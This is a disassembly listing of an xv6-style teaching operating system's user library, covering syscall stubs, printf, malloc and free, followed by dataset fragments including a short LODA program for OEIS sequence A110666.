38a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
*dst++ = *src++;
38b0: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
38b1: 39 fa cmp %edi,%edx
38b3: 75 fb jne 38b0 <memmove+0x20>
return vdst;
}
38b5: 5e pop %esi
38b6: 5f pop %edi
38b7: 5d pop %ebp
38b8: c3 ret
000038b9 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
38b9: b8 01 00 00 00 mov $0x1,%eax
38be: cd 40 int $0x40
38c0: c3 ret
000038c1 <exit>:
SYSCALL(exit)
38c1: b8 02 00 00 00 mov $0x2,%eax
38c6: cd 40 int $0x40
38c8: c3 ret
000038c9 <wait>:
SYSCALL(wait)
38c9: b8 03 00 00 00 mov $0x3,%eax
38ce: cd 40 int $0x40
38d0: c3 ret
000038d1 <pipe>:
SYSCALL(pipe)
38d1: b8 04 00 00 00 mov $0x4,%eax
38d6: cd 40 int $0x40
38d8: c3 ret
000038d9 <read>:
SYSCALL(read)
38d9: b8 05 00 00 00 mov $0x5,%eax
38de: cd 40 int $0x40
38e0: c3 ret
000038e1 <write>:
SYSCALL(write)
38e1: b8 10 00 00 00 mov $0x10,%eax
38e6: cd 40 int $0x40
38e8: c3 ret
000038e9 <close>:
SYSCALL(close)
38e9: b8 15 00 00 00 mov $0x15,%eax
38ee: cd 40 int $0x40
38f0: c3 ret
000038f1 <kill>:
SYSCALL(kill)
38f1: b8 06 00 00 00 mov $0x6,%eax
38f6: cd 40 int $0x40
38f8: c3 ret
000038f9 <exec>:
SYSCALL(exec)
38f9: b8 07 00 00 00 mov $0x7,%eax
38fe: cd 40 int $0x40
3900: c3 ret
00003901 <open>:
SYSCALL(open)
3901: b8 0f 00 00 00 mov $0xf,%eax
3906: cd 40 int $0x40
3908: c3 ret
00003909 <mknod>:
SYSCALL(mknod)
3909: b8 11 00 00 00 mov $0x11,%eax
390e: cd 40 int $0x40
3910: c3 ret
00003911 <unlink>:
SYSCALL(unlink)
3911: b8 12 00 00 00 mov $0x12,%eax
3916: cd 40 int $0x40
3918: c3 ret
00003919 <fstat>:
SYSCALL(fstat)
3919: b8 08 00 00 00 mov $0x8,%eax
391e: cd 40 int $0x40
3920: c3 ret
00003921 <link>:
SYSCALL(link)
3921: b8 13 00 00 00 mov $0x13,%eax
3926: cd 40 int $0x40
3928: c3 ret
00003929 <mkdir>:
SYSCALL(mkdir)
3929: b8 14 00 00 00 mov $0x14,%eax
392e: cd 40 int $0x40
3930: c3 ret
00003931 <chdir>:
SYSCALL(chdir)
3931: b8 09 00 00 00 mov $0x9,%eax
3936: cd 40 int $0x40
3938: c3 ret
00003939 <dup>:
SYSCALL(dup)
3939: b8 0a 00 00 00 mov $0xa,%eax
393e: cd 40 int $0x40
3940: c3 ret
00003941 <getpid>:
SYSCALL(getpid)
3941: b8 0b 00 00 00 mov $0xb,%eax
3946: cd 40 int $0x40
3948: c3 ret
00003949 <sbrk>:
SYSCALL(sbrk)
3949: b8 0c 00 00 00 mov $0xc,%eax
394e: cd 40 int $0x40
3950: c3 ret
00003951 <sleep>:
SYSCALL(sleep)
3951: b8 0d 00 00 00 mov $0xd,%eax
3956: cd 40 int $0x40
3958: c3 ret
00003959 <uptime>:
SYSCALL(uptime)
3959: b8 0e 00 00 00 mov $0xe,%eax
395e: cd 40 int $0x40
3960: c3 ret
00003961 <trace>:
SYSCALL(trace)
3961: b8 16 00 00 00 mov $0x16,%eax
3966: cd 40 int $0x40
3968: c3 ret
00003969 <getsharem>:
SYSCALL(getsharem)
3969: b8 17 00 00 00 mov $0x17,%eax
396e: cd 40 int $0x40
3970: c3 ret
00003971 <releasesharem>:
SYSCALL(releasesharem)
3971: b8 18 00 00 00 mov $0x18,%eax
3976: cd 40 int $0x40
3978: c3 ret
00003979 <split>:
SYSCALL(split)
3979: b8 19 00 00 00 mov $0x19,%eax
397e: cd 40 int $0x40
3980: c3 ret
00003981 <memo>:
SYSCALL(memo)
3981: b8 1a 00 00 00 mov $0x1a,%eax
3986: cd 40 int $0x40
3988: c3 ret
00003989 <getmemo>:
SYSCALL(getmemo)
3989: b8 1b 00 00 00 mov $0x1b,%eax
398e: cd 40 int $0x40
3990: c3 ret
00003991 <setmemo>:
SYSCALL(setmemo)
3991: b8 1c 00 00 00 mov $0x1c,%eax
3996: cd 40 int $0x40
3998: c3 ret
00003999 <att>:
SYSCALL(att)
3999: b8 1d 00 00 00 mov $0x1d,%eax
399e: cd 40 int $0x40
39a0: c3 ret
39a1: 66 90 xchg %ax,%ax
39a3: 66 90 xchg %ax,%ax
39a5: 66 90 xchg %ax,%ax
39a7: 66 90 xchg %ax,%ax
39a9: 66 90 xchg %ax,%ax
39ab: 66 90 xchg %ax,%ax
39ad: 66 90 xchg %ax,%ax
39af: 90 nop
000039b0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
39b0: 55 push %ebp
39b1: 89 e5 mov %esp,%ebp
39b3: 57 push %edi
39b4: 56 push %esi
39b5: 53 push %ebx
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
39b6: 89 d3 mov %edx,%ebx
{
39b8: 83 ec 3c sub $0x3c,%esp
39bb: 89 45 bc mov %eax,-0x44(%ebp)
if(sgn && xx < 0){
39be: 85 d2 test %edx,%edx
39c0: 0f 89 92 00 00 00 jns 3a58 <printint+0xa8>
39c6: f6 45 08 01 testb $0x1,0x8(%ebp)
39ca: 0f 84 88 00 00 00 je 3a58 <printint+0xa8>
neg = 1;
39d0: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp)
x = -xx;
39d7: f7 db neg %ebx
} else {
x = xx;
}
i = 0;
39d9: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
39e0: 8d 75 d7 lea -0x29(%ebp),%esi
39e3: eb 08 jmp 39ed <printint+0x3d>
39e5: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
39e8: 89 7d c4 mov %edi,-0x3c(%ebp)
}while((x /= base) != 0);
39eb: 89 c3 mov %eax,%ebx
buf[i++] = digits[x % base];
39ed: 89 d8 mov %ebx,%eax
39ef: 31 d2 xor %edx,%edx
39f1: 8b 7d c4 mov -0x3c(%ebp),%edi
39f4: f7 f1 div %ecx
39f6: 83 c7 01 add $0x1,%edi
39f9: 0f b6 92 78 55 00 00 movzbl 0x5578(%edx),%edx
3a00: 88 14 3e mov %dl,(%esi,%edi,1)
}while((x /= base) != 0);
3a03: 39 d9 cmp %ebx,%ecx
3a05: 76 e1 jbe 39e8 <printint+0x38>
if(neg)
3a07: 8b 45 c0 mov -0x40(%ebp),%eax
3a0a: 85 c0 test %eax,%eax
3a0c: 74 0d je 3a1b <printint+0x6b>
buf[i++] = '-';
3a0e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3a13: ba 2d 00 00 00 mov $0x2d,%edx
buf[i++] = digits[x % base];
3a18: 89 7d c4 mov %edi,-0x3c(%ebp)
3a1b: 8b 45 c4 mov -0x3c(%ebp),%eax
3a1e: 8b 7d bc mov -0x44(%ebp),%edi
3a21: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
3a25: eb 0f jmp 3a36 <printint+0x86>
3a27: 89 f6 mov %esi,%esi
3a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
3a30: 0f b6 13 movzbl (%ebx),%edx
3a33: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
3a36: 83 ec 04 sub $0x4,%esp
3a39: 88 55 d7 mov %dl,-0x29(%ebp)
3a3c: 6a 01 push $0x1
3a3e: 56 push %esi
3a3f: 57 push %edi
3a40: e8 9c fe ff ff call 38e1 <write>
while(--i >= 0)
3a45: 83 c4 10 add $0x10,%esp
3a48: 39 de cmp %ebx,%esi
3a4a: 75 e4 jne 3a30 <printint+0x80>
putc(fd, buf[i]);
}
3a4c: 8d 65 f4 lea -0xc(%ebp),%esp
3a4f: 5b pop %ebx
3a50: 5e pop %esi
3a51: 5f pop %edi
3a52: 5d pop %ebp
3a53: c3 ret
3a54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3a58: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp)
3a5f: e9 75 ff ff ff jmp 39d9 <printint+0x29>
3a64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3a6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00003a70 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
3a70: 55 push %ebp
3a71: 89 e5 mov %esp,%ebp
3a73: 57 push %edi
3a74: 56 push %esi
3a75: 53 push %ebx
3a76: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3a79: 8b 75 0c mov 0xc(%ebp),%esi
3a7c: 0f b6 1e movzbl (%esi),%ebx
3a7f: 84 db test %bl,%bl
3a81: 0f 84 b9 00 00 00 je 3b40 <printf+0xd0>
ap = (uint*)(void*)&fmt + 1;
3a87: 8d 45 10 lea 0x10(%ebp),%eax
3a8a: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
3a8d: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
3a90: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
3a92: 89 45 d0 mov %eax,-0x30(%ebp)
3a95: eb 38 jmp 3acf <printf+0x5f>
3a97: 89 f6 mov %esi,%esi
3a99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
3aa0: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
3aa3: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
3aa8: 83 f8 25 cmp $0x25,%eax
3aab: 74 17 je 3ac4 <printf+0x54>
write(fd, &c, 1);
3aad: 83 ec 04 sub $0x4,%esp
3ab0: 88 5d e7 mov %bl,-0x19(%ebp)
3ab3: 6a 01 push $0x1
3ab5: 57 push %edi
3ab6: ff 75 08 pushl 0x8(%ebp)
3ab9: e8 23 fe ff ff call 38e1 <write>
3abe: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
3ac1: 83 c4 10 add $0x10,%esp
3ac4: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
3ac7: 0f b6 5e ff movzbl -0x1(%esi),%ebx
3acb: 84 db test %bl,%bl
3acd: 74 71 je 3b40 <printf+0xd0>
c = fmt[i] & 0xff;
3acf: 0f be cb movsbl %bl,%ecx
3ad2: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
3ad5: 85 d2 test %edx,%edx
3ad7: 74 c7 je 3aa0 <printf+0x30>
}
} else if(state == '%'){
3ad9: 83 fa 25 cmp $0x25,%edx
3adc: 75 e6 jne 3ac4 <printf+0x54>
if(c == 'd'){
3ade: 83 f8 64 cmp $0x64,%eax
3ae1: 0f 84 99 00 00 00 je 3b80 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
3ae7: 81 e1 f7 00 00 00 and $0xf7,%ecx
3aed: 83 f9 70 cmp $0x70,%ecx
3af0: 74 5e je 3b50 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
3af2: 83 f8 73 cmp $0x73,%eax
3af5: 0f 84 d5 00 00 00 je 3bd0 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3afb: 83 f8 63 cmp $0x63,%eax
3afe: 0f 84 8c 00 00 00 je 3b90 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
3b04: 83 f8 25 cmp $0x25,%eax
3b07: 0f 84 b3 00 00 00 je 3bc0 <printf+0x150>
write(fd, &c, 1);
3b0d: 83 ec 04 sub $0x4,%esp
3b10: c6 45 e7 25 movb $0x25,-0x19(%ebp)
3b14: 6a 01 push $0x1
3b16: 57 push %edi
3b17: ff 75 08 pushl 0x8(%ebp)
3b1a: e8 c2 fd ff ff call 38e1 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
3b1f: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
3b22: 83 c4 0c add $0xc,%esp
3b25: 6a 01 push $0x1
3b27: 83 c6 01 add $0x1,%esi
3b2a: 57 push %edi
3b2b: ff 75 08 pushl 0x8(%ebp)
3b2e: e8 ae fd ff ff call 38e1 <write>
for(i = 0; fmt[i]; i++){
3b33: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
3b37: 83 c4 10 add $0x10,%esp
}
state = 0;
3b3a: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
3b3c: 84 db test %bl,%bl
3b3e: 75 8f jne 3acf <printf+0x5f>
}
}
}
3b40: 8d 65 f4 lea -0xc(%ebp),%esp
3b43: 5b pop %ebx
3b44: 5e pop %esi
3b45: 5f pop %edi
3b46: 5d pop %ebp
3b47: c3 ret
3b48: 90 nop
3b49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 16, 0);
3b50: 83 ec 0c sub $0xc,%esp
3b53: b9 10 00 00 00 mov $0x10,%ecx
3b58: 6a 00 push $0x0
3b5a: 8b 5d d0 mov -0x30(%ebp),%ebx
3b5d: 8b 45 08 mov 0x8(%ebp),%eax
3b60: 8b 13 mov (%ebx),%edx
3b62: e8 49 fe ff ff call 39b0 <printint>
ap++;
3b67: 89 d8 mov %ebx,%eax
3b69: 83 c4 10 add $0x10,%esp
state = 0;
3b6c: 31 d2 xor %edx,%edx
ap++;
3b6e: 83 c0 04 add $0x4,%eax
3b71: 89 45 d0 mov %eax,-0x30(%ebp)
3b74: e9 4b ff ff ff jmp 3ac4 <printf+0x54>
3b79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
3b80: 83 ec 0c sub $0xc,%esp
3b83: b9 0a 00 00 00 mov $0xa,%ecx
3b88: 6a 01 push $0x1
3b8a: eb ce jmp 3b5a <printf+0xea>
3b8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
3b90: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
3b93: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
3b96: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
3b98: 6a 01 push $0x1
ap++;
3b9a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
3b9d: 57 push %edi
3b9e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
3ba1: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
3ba4: e8 38 fd ff ff call 38e1 <write>
ap++;
3ba9: 89 5d d0 mov %ebx,-0x30(%ebp)
3bac: 83 c4 10 add $0x10,%esp
state = 0;
3baf: 31 d2 xor %edx,%edx
3bb1: e9 0e ff ff ff jmp 3ac4 <printf+0x54>
3bb6: 8d 76 00 lea 0x0(%esi),%esi
3bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
putc(fd, c);
3bc0: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
3bc3: 83 ec 04 sub $0x4,%esp
3bc6: e9 5a ff ff ff jmp 3b25 <printf+0xb5>
3bcb: 90 nop
3bcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
3bd0: 8b 45 d0 mov -0x30(%ebp),%eax
3bd3: 8b 18 mov (%eax),%ebx
ap++;
3bd5: 83 c0 04 add $0x4,%eax
3bd8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
3bdb: 85 db test %ebx,%ebx
3bdd: 74 17 je 3bf6 <printf+0x186>
while(*s != 0){
3bdf: 0f b6 03 movzbl (%ebx),%eax
state = 0;
3be2: 31 d2 xor %edx,%edx
while(*s != 0){
3be4: 84 c0 test %al,%al
3be6: 0f 84 d8 fe ff ff je 3ac4 <printf+0x54>
3bec: 89 75 d4 mov %esi,-0x2c(%ebp)
3bef: 89 de mov %ebx,%esi
3bf1: 8b 5d 08 mov 0x8(%ebp),%ebx
3bf4: eb 1a jmp 3c10 <printf+0x1a0>
s = "(null)";
3bf6: bb 70 55 00 00 mov $0x5570,%ebx
while(*s != 0){
3bfb: 89 75 d4 mov %esi,-0x2c(%ebp)
3bfe: b8 28 00 00 00 mov $0x28,%eax
3c03: 89 de mov %ebx,%esi
3c05: 8b 5d 08 mov 0x8(%ebp),%ebx
3c08: 90 nop
3c09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
write(fd, &c, 1);
3c10: 83 ec 04 sub $0x4,%esp
s++;
3c13: 83 c6 01 add $0x1,%esi
3c16: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
3c19: 6a 01 push $0x1
3c1b: 57 push %edi
3c1c: 53 push %ebx
3c1d: e8 bf fc ff ff call 38e1 <write>
while(*s != 0){
3c22: 0f b6 06 movzbl (%esi),%eax
3c25: 83 c4 10 add $0x10,%esp
3c28: 84 c0 test %al,%al
3c2a: 75 e4 jne 3c10 <printf+0x1a0>
3c2c: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
3c2f: 31 d2 xor %edx,%edx
3c31: e9 8e fe ff ff jmp 3ac4 <printf+0x54>
3c36: 66 90 xchg %ax,%ax
3c38: 66 90 xchg %ax,%ax
3c3a: 66 90 xchg %ax,%ax
3c3c: 66 90 xchg %ax,%ax
3c3e: 66 90 xchg %ax,%ax
00003c40 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
3c40: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
3c41: a1 20 5f 00 00 mov 0x5f20,%eax
{
3c46: 89 e5 mov %esp,%ebp
3c48: 57 push %edi
3c49: 56 push %esi
3c4a: 53 push %ebx
3c4b: 8b 5d 08 mov 0x8(%ebp),%ebx
3c4e: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
3c50: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
3c53: 39 c8 cmp %ecx,%eax
3c55: 73 19 jae 3c70 <free+0x30>
3c57: 89 f6 mov %esi,%esi
3c59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
3c60: 39 d1 cmp %edx,%ecx
3c62: 72 14 jb 3c78 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
3c64: 39 d0 cmp %edx,%eax
3c66: 73 10 jae 3c78 <free+0x38>
{
3c68: 89 d0 mov %edx,%eax
3c6a: 8b 10 mov (%eax),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
3c6c: 39 c8 cmp %ecx,%eax
3c6e: 72 f0 jb 3c60 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
3c70: 39 d0 cmp %edx,%eax
3c72: 72 f4 jb 3c68 <free+0x28>
3c74: 39 d1 cmp %edx,%ecx
3c76: 73 f0 jae 3c68 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
3c78: 8b 73 fc mov -0x4(%ebx),%esi
3c7b: 8d 3c f1 lea (%ecx,%esi,8),%edi
3c7e: 39 fa cmp %edi,%edx
3c80: 74 1e je 3ca0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
3c82: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
3c85: 8b 50 04 mov 0x4(%eax),%edx
3c88: 8d 34 d0 lea (%eax,%edx,8),%esi
3c8b: 39 f1 cmp %esi,%ecx
3c8d: 74 28 je 3cb7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
3c8f: 89 08 mov %ecx,(%eax)
freep = p;
}
3c91: 5b pop %ebx
freep = p;
3c92: a3 20 5f 00 00 mov %eax,0x5f20
}
3c97: 5e pop %esi
3c98: 5f pop %edi
3c99: 5d pop %ebp
3c9a: c3 ret
3c9b: 90 nop
3c9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
3ca0: 03 72 04 add 0x4(%edx),%esi
3ca3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
3ca6: 8b 10 mov (%eax),%edx
3ca8: 8b 12 mov (%edx),%edx
3caa: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
3cad: 8b 50 04 mov 0x4(%eax),%edx
3cb0: 8d 34 d0 lea (%eax,%edx,8),%esi
3cb3: 39 f1 cmp %esi,%ecx
3cb5: 75 d8 jne 3c8f <free+0x4f>
p->s.size += bp->s.size;
3cb7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
3cba: a3 20 5f 00 00 mov %eax,0x5f20
p->s.size += bp->s.size;
3cbf: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
3cc2: 8b 53 f8 mov -0x8(%ebx),%edx
3cc5: 89 10 mov %edx,(%eax)
}
3cc7: 5b pop %ebx
3cc8: 5e pop %esi
3cc9: 5f pop %edi
3cca: 5d pop %ebp
3ccb: c3 ret
3ccc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00003cd0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
3cd0: 55 push %ebp
3cd1: 89 e5 mov %esp,%ebp
3cd3: 57 push %edi
3cd4: 56 push %esi
3cd5: 53 push %ebx
3cd6: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
3cd9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
3cdc: 8b 3d 20 5f 00 00 mov 0x5f20,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
3ce2: 8d 70 07 lea 0x7(%eax),%esi
3ce5: c1 ee 03 shr $0x3,%esi
3ce8: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
3ceb: 85 ff test %edi,%edi
3ced: 0f 84 ad 00 00 00 je 3da0 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
3cf3: 8b 17 mov (%edi),%edx
if(p->s.size >= nunits){
3cf5: 8b 4a 04 mov 0x4(%edx),%ecx
3cf8: 39 ce cmp %ecx,%esi
3cfa: 76 72 jbe 3d6e <malloc+0x9e>
3cfc: 81 fe 00 10 00 00 cmp $0x1000,%esi
3d02: bb 00 10 00 00 mov $0x1000,%ebx
3d07: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
3d0a: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
3d11: 89 45 e4 mov %eax,-0x1c(%ebp)
3d14: eb 1b jmp 3d31 <malloc+0x61>
3d16: 8d 76 00 lea 0x0(%esi),%esi
3d19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
3d20: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
3d22: 8b 48 04 mov 0x4(%eax),%ecx
3d25: 39 f1 cmp %esi,%ecx
3d27: 73 4f jae 3d78 <malloc+0xa8>
3d29: 8b 3d 20 5f 00 00 mov 0x5f20,%edi
3d2f: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
3d31: 39 d7 cmp %edx,%edi
3d33: 75 eb jne 3d20 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
3d35: 83 ec 0c sub $0xc,%esp
3d38: ff 75 e4 pushl -0x1c(%ebp)
3d3b: e8 09 fc ff ff call 3949 <sbrk>
if(p == (char*)-1)
3d40: 83 c4 10 add $0x10,%esp
3d43: 83 f8 ff cmp $0xffffffff,%eax
3d46: 74 1c je 3d64 <malloc+0x94>
hp->s.size = nu;
3d48: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
3d4b: 83 ec 0c sub $0xc,%esp
3d4e: 83 c0 08 add $0x8,%eax
3d51: 50 push %eax
3d52: e8 e9 fe ff ff call 3c40 <free>
return freep;
3d57: 8b 15 20 5f 00 00 mov 0x5f20,%edx
if((p = morecore(nunits)) == 0)
3d5d: 83 c4 10 add $0x10,%esp
3d60: 85 d2 test %edx,%edx
3d62: 75 bc jne 3d20 <malloc+0x50>
return 0;
}
}
3d64: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
3d67: 31 c0 xor %eax,%eax
}
3d69: 5b pop %ebx
3d6a: 5e pop %esi
3d6b: 5f pop %edi
3d6c: 5d pop %ebp
3d6d: c3 ret
if(p->s.size >= nunits){
3d6e: 89 d0 mov %edx,%eax
3d70: 89 fa mov %edi,%edx
3d72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
3d78: 39 ce cmp %ecx,%esi
3d7a: 74 54 je 3dd0 <malloc+0x100>
p->s.size -= nunits;
3d7c: 29 f1 sub %esi,%ecx
3d7e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
3d81: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
3d84: 89 70 04 mov %esi,0x4(%eax)
freep = prevp;
3d87: 89 15 20 5f 00 00 mov %edx,0x5f20
}
3d8d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
3d90: 83 c0 08 add $0x8,%eax
}
3d93: 5b pop %ebx
3d94: 5e pop %esi
3d95: 5f pop %edi
3d96: 5d pop %ebp
3d97: c3 ret
3d98: 90 nop
3d99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
3da0: c7 05 20 5f 00 00 24 movl $0x5f24,0x5f20
3da7: 5f 00 00
base.s.size = 0;
3daa: bf 24 5f 00 00 mov $0x5f24,%edi
base.s.ptr = freep = prevp = &base;
3daf: c7 05 24 5f 00 00 24 movl $0x5f24,0x5f24
3db6: 5f 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
3db9: 89 fa mov %edi,%edx
base.s.size = 0;
3dbb: c7 05 28 5f 00 00 00 movl $0x0,0x5f28
3dc2: 00 00 00
if(p->s.size >= nunits){
3dc5: e9 32 ff ff ff jmp 3cfc <malloc+0x2c>
3dca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
3dd0: 8b 08 mov (%eax),%ecx
3dd2: 89 0a mov %ecx,(%edx)
3dd4: eb b1 jmp 3d87 <malloc+0xb7>
| 41.796082 | 240 | 0.429139 |
b2ec8e03c48a009ab1f37aefb125da5b4b251613 | 1,039 | asm | Assembly | programs/oeis/110/A110666.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/110/A110666.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/110/A110666.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A110666: Sequence is {a(1,n)}, where a(m,n) is defined at sequence A110665.
; 0,1,1,-2,-6,-6,0,7,7,-2,-12,-12,0,13,13,-2,-18,-18,0,19,19,-2,-24,-24,0,25,25,-2,-30,-30,0,31,31,-2,-36,-36,0,37,37,-2,-42,-42,0,43,43,-2,-48,-48,0,49,49,-2,-54,-54,0,55,55,-2,-60,-60,0,61,61,-2,-66,-66,0,67,67,-2,-72,-72,0,73,73,-2,-78,-78,0,79,79,-2,-84,-84,0,85,85,-2,-90,-90,0,91,91,-2,-96,-96,0,97,97,-2,-102,-102,0,103,103,-2,-108,-108,0,109,109,-2,-114,-114,0,115,115,-2,-120,-120,0,121,121,-2,-126,-126,0,127,127,-2,-132,-132,0,133,133,-2,-138,-138,0,139,139,-2,-144,-144,0,145,145,-2,-150,-150,0,151,151,-2,-156,-156,0,157,157,-2,-162,-162,0,163,163,-2,-168,-168,0,169,169,-2,-174,-174,0,175,175,-2,-180,-180,0,181,181,-2,-186,-186,0,187,187,-2,-192,-192,0,193,193,-2,-198,-198,0,199,199,-2,-204,-204,0,205,205,-2,-210,-210,0,211,211,-2,-216,-216,0,217,217,-2,-222,-222,0,223,223,-2,-228,-228,0,229,229,-2,-234,-234,0,235,235,-2,-240,-240,0,241,241,-2,-246,-246,0,247,247,-2
mov $1,1
mov $2,$0
lpb $2
add $1,$0
sub $0,$1
sub $2,1
lpe
sub $1,1
| 86.583333 | 885 | 0.578441 |
ffa4766741029e772ea9f670ff135032e5f737f4 | 29,606 | asm | Assembly | Appl/FileMgrs2/CommonDesktop/CFolder/cfolderPlacement.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/FileMgrs2/CommonDesktop/CFolder/cfolderPlacement.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
